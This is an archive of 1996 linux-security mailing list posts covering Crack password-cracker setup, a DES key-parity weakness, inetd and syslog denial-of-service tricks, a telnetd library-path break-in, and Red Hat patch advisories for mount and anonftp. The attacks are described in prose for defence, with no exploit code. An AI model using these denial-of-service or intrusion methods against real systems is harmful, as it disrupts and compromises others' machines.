In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 16 Aug 1996, Robert R. Collier wrote: [Mod: Quoting trimmed. --Jeff.] > --8<--8<-- > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > pwc: Aug 16 16:11:12 Terminating... > -->8-->8-- Basically, Crack is using its own internal fcrypt() instead of the one in libc (which is also faster :) You have to edit the Makefile to tell it not to link in its own fcrypt() stuff... --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." From [email protected] Fri Aug 16 14:59:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id OAA26517; Fri, 16 Aug 1996 14:59:47 -0400 From: infinity Message-Id: <[email protected]> Subject: [linux-security] Archive/Listing To: [email protected] Date: Fri, 16 Aug 1996 11:43:11 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1010 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- The Ghost who Admins's thoughts were: | Hey all. Just wondering if anyone has a listing of all the | vulnerabilities of the current Slackware dist. Basically, if I setup a | new machine...what are the holes I need to patch. I know of a few but I | KNOW I'm missing alot. | | Thanks in advance. :) | | Mike Evans | | ftp://ftp.infonexus.com/pub/Philes/AttackFlawsExploits/Linux I have many, but prolly not all. If any knows a better source, I would love to know about it... - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhTBPgtXkSokWGapAQEd7QP/XW1AinxW8ARrGR1MFkA+mWhNsHp7Kjyd 1k9T/43QzYFFz4oj1HjKT/IJYYJJdkNnz545ZziAm6jC6n7RwnjVE5ZoO7c4n5/R 3zkKRHReS2IQdzily8r2DD0LVSmYxaQoK0vLyz+GJVEAXnGi0k2lptmVpw2NImAb v4OJvRSLKbY= =YNWZ -----END PGP SIGNATURE----- linux-security/linux-security.960819100664 1767 1767 34124 6206171712 16661 0ustar majdommajdomFrom [email protected] Mon Aug 19 15:59:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id PAA08827; Mon, 19 Aug 1996 15:59:41 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] Problems running crack on linux. To: [email protected] (Robert R. Collier) Date: Fri, 16 Aug 1996 19:57:46 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Robert R. Collier" at Aug 16, 96 04:21:53 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > pwc: Aug 16 16:11:12 Terminating... > -->8-->8-- This is correct. Our long passwords are different. We also have a very fast crypt() in libc, so use that an for optimal performance static link it so crypt isnt running -fPIC Crack 5.0 is about to appear From [email protected] Mon Aug 19 16:05:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08890; Mon, 19 Aug 1996 16:05:47 -0400 Date: Fri, 16 Aug 1996 19:50:57 -0600 (CST) From: Mark Duguid To: [email protected] cc: [email protected] Subject: Re: [linux-security] Problems running crack on linux. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 16 Aug 1996, Elliot Lee wrote: > On Fri, 16 Aug 1996, Robert R. Collier wrote: > > [Mod: Quoting trimmed. --Jeff.] > > > --8<--8<-- > > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > > pwc: Aug 16 16:11:12 Terminating... > > -->8-->8-- > > Basically, Crack is using its own internal fcrypt() instead of the one in > libc (which is also faster :) You have to edit the Makefile to tell it > not to link in its own fcrypt() stuff... > better yet, pick up ufc-crypt. if fcrypt dont work, Crack will use the ufc-crypt (fcrypt wouldnt work on mine, but ufc-crypt did) [Mod: Oddly enough, I found ufc-crypt to be slower than fcrypt on my Linux systems when I did some time-trials 2+ years ago. --Jeff.] -- Mark Duguid Saskatoon, Saskatchewan, Canada [email protected] Lord grant me the serenity to accept the things I cannot change.The courage to change the things I can.And the wisdom to hide the bodies of the people =-=-=-=-=-=-=-=-=I had to kill because they pissed me off=-=-=-=-=-=-=-=-=-= Just netsurfin on an anvil. My postings contain my opinions, not the SFN's. From [email protected] Mon Aug 19 16:06:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08906; Mon, 19 Aug 1996 16:06:21 -0400 Date: Fri, 16 Aug 1996 22:49:07 -0500 (CDT) From: Jeff Barrow X-Sender: [email protected] To: "Robert R. Collier" cc: [email protected] Subject: Re: [linux-security] Problems running crack on linux. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 16 Aug 1996, Robert R. Collier wrote: > --8<--8<-- > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > pwc: Aug 16 16:11:12 Terminating... > -->8-->8-- This is a byteorder problem. I got it working by configuring crack to use the libc version of crypt()... I'm not SURE, but you can try #include in the main include file, it may work. The problem is that crack uses a _very_ old method of deciding endianness, that may be slightly incompatible with our libc. > I tried changing various #defines in Sources/conf.h but to no effect. Try #define LITTLE_ENDIAN as well.... Good luck! From [email protected] Mon Aug 19 16:06:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08922; Mon, 19 Aug 1996 16:06:43 -0400 Message-ID: <[email protected]> Date: Sat, 17 Aug 1996 11:37:49 +0100 From: Pete Chown X-Mailer: Mozilla 3.0b6 (X11; I; Linux 2.0.7 i586) MIME-Version: 1.0 To: [email protected] Subject: [linux-security] des_setparity security problem References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Am I wrong or is there a big weakness in the Linux implementation of des_setparity? DES is supposed to start with a 64 bit key which then has a parity added, giving an effective key length of 56 bits. The Linux implementation, however, manages to lose 16 bits, not 8. The bottom bit of each byte is converted to a parity, which is correct. However, the top bit is masked off at the same time. This gives an effective key length of only 48 bits, which is effectively useless. --------------------------------------------------------------------- [email protected] "The Pen is mightier than the Quill." "Where do you want to crash today?" (tm) From [email protected] Mon Aug 19 16:08:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08939; Mon, 19 Aug 1996 16:08:16 -0400 Message-Id: <1.5.4.16.19960818180536.31af0dcc@gatekeeper> X-Sender: jlarmour@gatekeeper X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 18 Aug 1996 19:05:36 +0100 To: Frank Parato , [email protected] From: Jonathan Larmour Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Sender: [email protected] Precedence: list At 10:39 13/08/96 -0400, Frank Parato wrote: > >Hello, I'm very new to this mailing list, so forgive me if I ask >questions about things that have already been discussed. However my >system was recently invaded by a complete outsider. The daemons above are >the only ones that are running on my machine. Does anyone know of any >security holes that give the exploiter root on any of the above daemons ? Surely you must be running syslogd? There are many known problems with syslogd to do with buffer overruns, and in particular if your syslogd listens on the syslogd UDP port, then that could easily be the trouble. Also for telnetsnoopd, are you aware of the environment variables problem where LD_LIBRARY_PATH (and others) were exported to /bin/login by in.telnetd (and presumably similarly in.telnetsnoopd). I think there's a CERT advisory for that one. If your ftpd allows uploads anywhere, then that's probably the most likely attack as this was known to be exploited. See the CA. >qmail has the basic setup, I did not hear of any security holes in qmail >so all that was changed were local configurations > >wu.ftpd does allow anonymous connections, it has its own bin directory, >(not /usr/bin), and the site exec option seems that it is non-functional. [snip] For the above two, if you haven't already, you could look at their "home" sites, and look at the Change log/Release notes of the latest version and see if there have been security fixes since the versions you have. Jonathan L. Origin UK, 323 Cambridge Science Park, Cambridge, England. CB4 4WG. Tel: +44 (1223) 423355 Fax: +44 (1223) 420724 E-mail: guess... -------[ Do not think that every sad-eyed woman has loved and lost... ]------ -----------------------[ she may have got him. -Anon ]----------------------- These opinions are all my own fault. From [email protected] Mon Aug 19 16:11:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08960; Mon, 19 Aug 1996 16:11:26 -0400 Message-ID: <[email protected]> Date: Sat, 17 Aug 1996 06:31:26 -0400 From: "Kenneth E. Nawyn" X-Mailer: Mozilla 2.01 (Win95; I) MIME-Version: 1.0 To: "Robert R. Collier" CC: [email protected] Subject: Re: [linux-security] Problems running crack on linux. References: <[email protected]> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Robert R. Collier wrote: > > I'm having some problems running Crack 4.1 on linux 2.0. [Mod: Quoting trimmed. Also, this post pretty much wraps it up for the Crack thread; there were several more posts submitted that said similar things, but that I won't forward. --Jeff.] You can get around this problem by useing the ufc-crypt package with crack 4.1. You should be able to ftp it from the COAST archive at Purdue. ftp://coast.cs.purdue.edu/pub/COAST/tools/unix/ufc.tar.gz Once you have ftped the file, you should unpack it so that it creates the directory ufc-crypt in the Crack-4.1 directory. I hope that this helps. > - Rob. > > -- > Robert R. Collier | The Terry Pratchett Homepage | \\\\\ send subject > [email protected] | http://www.lspace.org/ | \\\\\\\__o | "get pgp" > Save the Hedgehog | |__\\\\\\\'/__| for keys Ken Nawyn Kracked Rock Komputing, LLC From [email protected] Mon Aug 19 16:12:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08978; Mon, 19 Aug 1996 16:12:57 -0400 Date: Sat, 17 Aug 1996 16:30:13 +0200 (GMT+0200) From: Tudor Popescu To: The Ghost who Admins cc: [email protected] Subject: Re: [linux-security] Archive/Listing In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 13 Aug 1996, The Ghost who Admins wrote: > Hey all. Just wondering if anyone has a listing of all the > vulnerabilities of the current Slackware dist. Basically, if I setup a > new machine...what are the holes I need to patch. I know of a few but I > KNOW I'm missing alot. Well, for slak 3.0(not the latest 3.1) you've got: -xterm, -dip, -splitvt, -mount, -elm filter, -rxvt, -xfree(/tmp/.X.. exploit), -mgetty+sendfax, -perl(--version<5.003 or something) sec. holes. I guess these are the "well-known" ones, but there could be others. For informations just check ftp.infonexus.com(a very small and hard to get in host - but it's worth the time, trust me.. inside you can find just about every security hole one could think of..) > > Thanks in advance. :) > > Mike Evans > > hope this helps, --ToP. From [email protected] Mon Aug 19 19:07:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA10553; Mon, 19 Aug 1996 19:07:52 -0400 Message-Id: From: [email protected] (Ralf Schlatterbeck) Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload To: [email protected] Date: Mon, 19 Aug 1996 21:00:04 +0200 (MET DST) In-Reply-To: <[email protected]> from "Jeff Uphoff" at Aug 13, 96 04:17:16 pm X-cuse: we apologise for the inconvenience X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 855 Sender: [email protected] Precedence: list Jeff Uphoff writes: > I wrote a patch, sometime in '93, that tracked what user mounted such an > FS and only allowed that user--or root, of course--to unmount said > filesystem. I never submitted this patch to the util. maintainers (I > used it extensively locally, however), but since it looks like > mount/umount are about to get a bit of a rewrite perhaps I should update > it and submit it.... Good Idea, maybe we could get rid of some other (optionally) suid binaries associated with samba and Netware filesystems, i.e., ncpumount. (I don`t know if there is also a smbumount). Maybe these could be integrated into umount? The only reason these (this?) exist is to guarantee users can umount the filesystems they mounted (if I understood the documentation). [REW: I take an s-bit on a binary to mean that the application was developed with that s-bit in mind. Tacking an s-bit on an application that doesn't expect it is suicide. It should therefore be a no-no. Maybe installation notes could mention "if you want you can remove the s-bit from this and that application", but I find the idea distributing s-bit programs without s-bits and thereby suggesting that s-bits can be tacked on to binaries very scary.....] -- Ralf Schlatterbeck email: [email protected] Fidonet: 2:313/9.81 FAX: +43/1/8034419/23 linux-security/linux-security.960820100664 1767 1767 46346 6206376250 16666 0ustar majdommajdomFrom [email protected] Tue Aug 20 03:41:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA17121; Tue, 20 Aug 1996 03:41:26 -0400 Date: Mon, 19 Aug 1996 19:33:38 -0600 (MDT) From: Joel Maslak X-Sender: [email protected] Reply-To: Joel Maslak To: Linux Security Mailing List Subject: [linux-security] inetd and denial-of-service Message-ID: Organization: Not Likely! MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This is a message I saw on the kernel mailing list: On Fri, 16 Aug 1996, Klaus Lichtenwalder wrote: > I have an application that for simplicity backs up new files from a file > server via rsh. Things thingy stops after a few rsh calls to the remote > Linux machine. The following message can be found in syslog: > > Aug 16 17:53:59 gaston inetd[73]: shell/tcp server failing (looping), > service terminated > > Needless to say, the backup scripts then hangs idle. This is due to inetd killing any port that has more than 40 requests per minute. Obviously, this could be a denial of service attack. evil.com writes a program which, all at once, sends out 40 connection requests to good.edu's telnet port. Good.edu's inetd, thinking that something is broke stops allowing incoming telnets. While any site with good administrators would be able to fix this problem in a matter of minutes, this could be a problem for a site which is normally unattended. Ideas for solution: 1. Add a number after nowait for TCP services in /etc/inetd.conf. This number represents the max number of requests per minute. Set it to 32000 or something. Note that this requires a recent version of inetd. (I run 1.1) 2. Block access to all ports except from "trusted sites". This assumes a open environment where the network medium is generally trusted. Note that IP spoofing attacks can occur if the network is not trusted. I didn't bring this up to demonstrate an astonishing insight into security. Rather, I brought this up to spark some discussion on other possible attacks, based on this one, as well as solution to these attacks. Not everyone has the advantage of being able to log onto the console of every machine they administrate, and the thought of having someone able to willfully cause me work does not appeal to me. This affects, at least, Red Hat 3.0.3. I assume it affects nearly every distribution. [REW: I couldn't reproduce the "terminating service" on my slackware distribution. It seems to have the same 1.1 version of inetd. I suspect that the machine is too slow to accept more than 40 requests per minute. I'd rather have the "init" behaviour: "id "c1" respawning too fast: Disabled for 5 minutes"] Joel Maslak Lost in Wyoming! From [email protected] Tue Aug 20 03:44:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA17159; Tue, 20 Aug 1996 03:44:03 -0400 X-Authentication-Warning: clark.net: proberts owned process doing -bs Date: Mon, 19 Aug 1996 20:19:25 -0400 (EDT) From: "Paul D. Robertson" To: Jonathan Larmour cc: Frank Parato , [email protected] Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? In-Reply-To: <1.5.4.16.19960818180536.31af0dcc@gatekeeper> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 18 Aug 1996, Jonathan Larmour wrote: > Surely you must be running syslogd? There are many known problems with > syslogd to do with buffer overruns, and in particular if your syslogd > listens on the syslogd UDP port, then that could easily be the trouble. Hrm, all the exploits I've seen deal with the syslog library call, not the daemon, and the Linux libraries have been fixed for a while. Could you provide more info on the daemon problems? [REW: The deamon problem consists at least of being able to fill someones harddisk by sending it stuff to be logged. Some systems choke when their root partition fills....(Denial of service)] Paul ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 From [email protected] Tue Aug 20 07:53:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA19468; Tue, 20 Aug 1996 07:53:37 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] Date: Tue, 20 Aug 1996 10:00:07 +0100 (BST) Cc: [email protected] In-Reply-To: from "Joel Maslak" at Aug 19, 96 07:33:38 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > I'd rather have the "init" behaviour: "id "c1" respawning too fast: > Disabled for 5 minutes"] You can still do this to Solaris 2.5 consoles, just hold down ^D and lock the console off for 5 minutes. [REW: And Linux too (but if you want to prevent the sysop from logging in on the console for five minutes you will need to do it on ALL VCs.)] Alan k From [email protected] Tue Aug 20 07:54:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA19484; Tue, 20 Aug 1996 07:54:08 -0400 Date: Tue, 20 Aug 1996 10:21:42 +0200 (SAT) From: Louis Mandelstam To: "Paul D. Robertson" cc: Jonathan Larmour , Frank Parato , [email protected] Subject: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 19 Aug 1996, Paul D. Robertson wrote: > [REW: The deamon problem consists at least of being able to fill someones > harddisk by sending it stuff to be logged. Some systems choke when their > root partition fills....(Denial of service)] What do people do to get around this, as well as the ability of an attacker who has gained root to modify the written log? Problems with illegal root modifying the log can be solved by somehow making the log append-only (line printer, modified tape streamer driver, remote syslog host without telnetd etc, etc) but those can be even more susceptible to nonsense flooding. Disk-based logs could conceivably be rotated (or entries removed from the top when the log exceeds x lenght) but this allows the attacker to flood harmful evidence out of the log. [REW: 1) You disable external access to your syslog port. 2) Linux already has an "append-only" file mode, so you don't need to revert to the old "line printer log".] ------------------------------------------------------------------------- L.Mandelstam - System Administrator [email protected] S A Council of Churches, PO Box 4921, Johannesburg, 2000, South Africa tel:+27-11-492-1380 x145 fax:+27-11-492-1448 mobile: +27-83-229-0712 ------------------------------------------------------------------------- From [email protected] Tue Aug 20 07:54:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA19495; Tue, 20 Aug 1996 07:54:17 -0400 Message-Id: Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload To: [email protected] (Ralf Schlatterbeck) Date: Tue, 20 Aug 1996 09:23:04 +0200 (MDT) From: "Daniel Roedding" Cc: [email protected] In-Reply-To: from "Ralf Schlatterbeck" at Aug 19, 96 09:00:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1308 Sender: [email protected] Precedence: list Hi! Roger Wolff suggested: > Maybe installation notes could mention "if you want you can remove the > s-bit from this and that application", but I find the idea > distributing s-bit programs without s-bits and thereby suggesting that > s-bits can be tacked on to binaries very scary.....] Personally, I'd wish to have a distribution kit that would ask me whether I want an "merely open" or a "secure" system. For development purposes or as a real end-user system, the current state of most distributions (which I consider as "open") is okay, but systems to be connected to open networks such as the Internet need more security, and - simply said - less s-bit programs and pre-configured services (/etc/inetd.conf etc.). Is anybody out here who deals with distribution kits and their instal- lation scripts? It shouldn't need much effort to separate binary tree and configuration files and stuff them into two packages. Next step just whould be to offer (at least) two configuration packages alternatively, each with a configuration tree and a small installation script setting/resetting some "critical" s-bits. What do you think about this? [REW: I mostly agree. Simply resetting s-bits is not something that can easily be done "out of the box". Mount and ppp have config files that allow certain users to perform certain privileged actions. These should simply be bug-fixed until they actually are secure. I have an internet-connected machine that simply uses the user-mount features. I still like it to be secure. Another problem with your approach is that the config files are (and should be) in the package that they belong with. Maybe a diff to be later applied could change the "security level"?] Daniel -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de From [email protected] Tue Aug 20 07:55:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id HAA19524; Tue, 20 Aug 1996 07:55:51 -0400 Message-Id: <1.5.4.16.19960820114656.2187e5ee@gatekeeper> X-Sender: jlarmour@gatekeeper X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 20 Aug 1996 12:46:56 +0100 To: "Paul D. Robertson" From: Jonathan Larmour Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Cc: Frank Parato , [email protected] Sender: [email protected] Precedence: list At 20:19 19/08/96 -0400, Paul D. Robertson wrote: >On Sun, 18 Aug 1996, Jonathan Larmour wrote: > >> Surely you must be running syslogd? There are many known problems with >> syslogd to do with buffer overruns, and in particular if your syslogd >> listens on the syslogd UDP port, then that could easily be the trouble. > >Hrm, all the exploits I've seen deal with the syslog library call, not the >daemon, and the Linux libraries have been fixed for a while. Could you >provide more info on the daemon problems? Fixed for a few months, yes. Also (I think) BugTraq recently showed some tests that meant there could still be more in syslog(d). (I'm not sure admittedly). I was questioning his assertion that there were no other daemons on his system, and given its history, both syslog and syslogd are not exactly exempt from suspicion. As it turns out after some private e-mails, it seems almost certain that it was the exported telnet LD_LIBRARY_PATH exploit. He found a version of libc.so.4 in a users directory. [REW: Funny that the actual culprit was indeed listed in that first message. I'd have guessed that listing just a few deamons would most likely miss the actual culprit.... :-] Jonathan L. Origin UK, 323 Cambridge Science Park, Cambridge, England. CB4 4WG. Tel: +44 (1223) 423355 Fax: +44 (1223) 420724 E-mail: guess... -------[ Do not think that every sad-eyed woman has loved and lost... ]------ -----------------------[ she may have got him. -Anon ]----------------------- These opinions are all my own fault. From [email protected] Tue Aug 20 13:57:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id NAA23390; Tue, 20 Aug 1996 13:57:12 -0400 Resent-Date: Tue, 20 Aug 1996 13:55:19 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII From: Elliot Lee To: [email protected] Subject: [linux-security] [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux Date: Tue, 13 Aug 1996 16:31:37 -0400 (EDT) Sender: [email protected] Precedence: list [Mod: I should have CC'd this to linux-security when it was released. Apologies for the oversight! --Jeff.] -----BEGIN PGP SIGNED MESSAGE----- Recently a security hole was found in the mount program that comes with many Linux distributions, including Red Hat Linux. mount and umount are normally installed setUID root to allow users to perform mount and unmount operations. Unfortunately, they do not check the length of the information passed to them, creating a buffer overflow problem. For more details, visit the BugTraq mailing-list archives at http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html This hole allows anyone with an account on a system to obtain root access. Affected systems: - All systems running all versions of Red Hat Linux. Users of versions of Red Hat less than 3.0.3 are advised to upgrade to 3.0.3, since many other problems are fixed in the upgrade. If you are running: * Red Hat Linux 3.0.3 (Picasso) on the Intel architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/ util-linux-2.5-11fix.i386.rpm mount-2.5k-1.i386.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.3 (Picasso) on the Alpha architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/ util-linux-2.5-11fix.axp.rpm mount-2.5k-1.axp.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.4 (Rembrandt) beta on the Intel, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/ mount-2.5k-2.i386.rpm * Red Hat Linux 3.0.4 (Rembrandt) beta on the Sparc, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/ mount-2.5k-2.sparc.rpm [Aside: There is no difference between mount-2.5k-1 and -2 except the package format.] All RPMs are PGP-signed with the [email protected] key. The source RPMs will be available in the normal locations. MD5SUM's: ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm Thanks to Bloodmask, Vio, and others on the BugTraq list for discovering this hole and providing patches. --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhDmLCaSlK8942+NAQFc+QP+NnduJSfnrpXNMfPHBXPf11pNBvUKNfew kJ6GUVjXYePIDz6HxIpJWJsZF5u+t5yii5sfYkkVK1pPENMsjrAto2UWMklAF62p dxS3zgYjWfaH1AdG7U5e47huThBTmuyY/uwBmVf/jLtV2dqM1taRz9yqOTkm10o9 0Z7OylS10PY= =3lv/ -----END PGP SIGNATURE----- From [email protected] Tue Aug 20 13:57:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id NAA23410; Tue, 20 Aug 1996 13:57:55 -0400 Resent-Date: Tue, 20 Aug 1996 13:56:09 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII From: Elliot Lee To: [email protected] cc: [email protected], [email protected] Subject: [linux-security] [linux-alert] SECURITY FIX/UPDATE: anonftp Date: Mon, 19 Aug 1996 18:57:03 -0400 (EDT) Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- There is a security hole in the anonftp package included with all versions of Red Hat Linux that allows an anonymous FTP user to execute arbitrary commands in the chroot FTP environment. Due to some options in GNU tar that are enabled by default, any program that exists (or can be uploaded to) an FTP server can be run. Severity is limited due to the chroot environment, but the problem still needs to be addressed. Updates are available on ftp.redhat.com now. If you are using a version prior to 3.0.3, an upgrade is recommended to solve other security holes. If you are using 3.0.3 on the Intel, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.3 on the Alpha, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Intel, get ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm and install it using 'rpm -Uvh [filename]' All packages are PGP signed. Source packages are available in the usual locations. MD5 checksums: ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm 764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm 760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm Thanks to Alan Cox for finding this problem. - -- Elliot Lee Red Hat Software, http://www.redhat.com/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhjxQiaSlK8942+NAQEngAQAgQDpcY4zYyvegaYQrAx1pW9w2IEeHqE5 yyeRre2rUsWBKVjizDttz+JO130+/2cZjjG0bpDzKeZidkENZGkHzlIP+lQLDAuG jZ8rBqAdaEXmRUwZJzjwmEfBM218Z/W+fSrPj/w0CMqCn1THwJN4Vu6xaZ8TkxGf 2cI2lMO7XkQ= =qu3w -----END PGP SIGNATURE----- linux-security/linux-security.960821100664 1767 1767 53324 6206626166 16665 0ustar majdommajdomFrom [email protected] Wed Aug 21 01:56:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 